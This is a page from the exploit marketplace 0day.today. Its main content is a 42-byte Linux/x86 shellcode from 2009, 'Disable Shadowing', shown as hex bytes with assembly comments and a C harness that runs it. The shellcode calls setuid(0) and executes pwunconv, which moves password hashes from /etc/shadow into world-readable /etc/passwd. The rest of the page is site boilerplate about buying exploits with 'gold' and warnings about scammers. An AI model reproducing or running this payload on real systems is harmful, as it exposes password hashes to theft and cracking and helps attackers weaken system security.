0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Disable Shadowing Shellcode (42 bytes)
[#include <stdio.h>
const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena con un 0
"\x68\x63\x6f\x6e\x76" //push dword "conv"
"\x68\x70\x77\x75\x6e" //push dword "pwun"
"\x68\x62\x69\x6e\x2f" //push dword "bin/"
"\x68\x73\x72\x2f\x73" //push dword "sr/s"
"\x68\x2f\x2f\x2f\x75" //push dword "///u"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h
void main()
{
printf("\n~ This shellcode disables shadowing on a linux system ~"
"\n\n\t ~ Coded by vlan7 ~"
"\n\t ~ http://vlan7.blogspot.com ~"
"\n\n ~ Date: 4/Jul/2009"
"\n\tYou'll have the passwords stored in /etc/passwd."
"\n\tFor undo purposes use the pwconv command."
"\n\t ~ Cheers go to: Wadalbertia"
"\n\t ~ Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
}
# 0day.today [2024-11-15] #